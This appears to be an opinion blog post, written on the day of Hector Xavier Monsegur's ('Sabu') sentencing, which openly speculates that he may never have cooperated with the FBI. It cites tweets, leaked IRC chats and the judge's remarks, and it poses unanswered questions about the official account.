History was made today in a NYC courtroom with the extra-leniant sentencing of notorious Anonymous hacker turned FBI Informant ‘Sabu’ otherwise known as Hector Xavier Monsegur. But, what if things are not what they appear to be?
When considering history in hindsight, things were rarely what they seemed at the time. Cybersecurity drama and events should be held in similar regard, as the game of smoke and mirrors has never been more applicable than within the globally distributed Internet and its ‘security mechanisms’. Lets take a moment to consider the recent developments with this case and look at the sentencing from a different perspective.
Federal agents and LEAs accross the globe have been known to bend the rules, outright lie, or falsify evidence to suit their best interest. Not in pursuit of truth nor justice, but instead in pursuit of ‘winning’ at whatever cost. Another subject entirely, but it remains a fundamental pillar to this overall hypothesis.. What if Sabu never flipped, and [for reasons still unclear] they are only providing the illusion that he has?
Virtually everything known about how these ‘hacks’ unfolded has been described only by Court Documents and MSM/Fox News opinion of those documents. When considering that the messaging is one sided, it becomes even more interesting when observing how hard the MSM and FBI have pushed this message, which is that ‘Sabu turned informant on a dime’.
Judge Preska, being the wife of a hacked stratfor client, was arguably conflicted from start in Jeremy Hammond’s case, the individual who allegedly hacked Stratfor at behest of Sabu & the FBI. Today, this same judge not only provided a lenient sentence on Hector, but offered a public and glowing praise of the effectiveness of his efforts in subsequent critical takedowns. This is highly suspicious, as a ‘real’ thank you from a judge should be a sealed case, and witness protection. What the message actually sounded like was a backhanded compliment meaning ‘thanks for nothing, and good luck with the death threats’.
Love him or hate him, Sabu isn’t stupid. Certainly not, if he’s capable of doing all of these things the government claims he can do. In that assumption, one would allso assume he would outright demand protection, and probably future employment. What’s the point of flipping on multiple high value targets, if the end result is a publicly announced ‘time served’ with release back into a furious community, hated & minimum-wage forever? Finding a highly intelligent hacker that would agree to this, is incredibly unrealistic.
Taking an objective look at all the evidence, without bias, another theory can emerge. While it’s not much, there are historical Tweets and leaked IRC conversations to keep in mind, that may tell another side of the story. In a final Twitter posting, Sabu calls out the FBI for ‘being cowards, and not to give in’. Another post on the day before going dark, reminiscent of a yet-to-leak Snowden, Sabu describes invasive & illegal government spying, and hints that ‘informants & corporate compliance’ as the government’s only real tools. Some would just say he’s only playing the part. Others could say those tweets were a deliberate slap in the face, and evidence of non-compliance.
In those leaked IRC conversations, if believed are legitimate, outline some additional possibilities and variations to the actual events as we understand them.
You’ll find that m45t3rs4d0w8 (aka Sanguinarious) brings up the false flag possibility, and they discuss the lies of FoxNews and how ‘anons believe anything’ and ‘dont ask the right questions’. Later in the leaked record, its discussed how the MSM lied about how he was caught. It should be noted that alledged LulSec accomplice, JoePie91 also believes there are inconsitencies with the Sabu story, and how he was nabbed, as documented on his blog March 10, 2012 shortly after Sabu’s public arrest.
In what could be most telling, m45t3rs4d0w8 not Sabu that then explains “regarding those things they ‘said’ you did” he noticed some court documentation doesnt make sense, has missing dates, and possibly falsified Witness and Defendant signatures. Sabu replies, “Good things to question, sadly no one is questioning like you are”.
Other final bits to mention would be Sabu’s talk of return. “I cant wait until i’m sentenced so i can finally get the truth out”, and his disgust of LEA/FBI manipulations, “they will go through your entire life… they will find a way to blackmail your a**. I’m not even ****ing exaggerating.”
Journalism requires critical thinking in order to truly get the message across. Proposed are critical unanswered questions:
Q. If Sabu is cooperating with such efficiency, why is gov’t hanging him out to dry?
No Witness Protection Offered nor Demanded? No Sealed Case (to Protect the Informant)?
Anyone else in Sabu’s shoes would likely have said “OK, you got me, i’ll cooperate. But you’re going to seal this case, and give me witness protection. Otherwise the public will crucify me”.
Q. Is there a chance that Sabu was apprehended, but the FBI simply used his alias to entrap Hammond / Davis / Ackroyd/ etc by themselves?
What proof do we really have that Hector himself is responsible?
Q. Could the FBI have decided that publicly promoting Sabu as a crucial Anonymous Informant was a most effective way to ‘make the FBI look good’, whether true or not?
If Sabu had not flipped, do we believe the FBI would admit this failure? Does the FBI have the will & means to falsify this into reality?
In conclusion, opinion should still be out on whether Hector Xavier Monesgur deserves the landslide of lambasting. It would be wise to dig deeper, withhold some bias (towards the incarcerated) and keep in mind…
“All warfare, is based on deception..” Sun Tzu
Who will be the first to interview Xavier, and ask these and likely more very important questions?
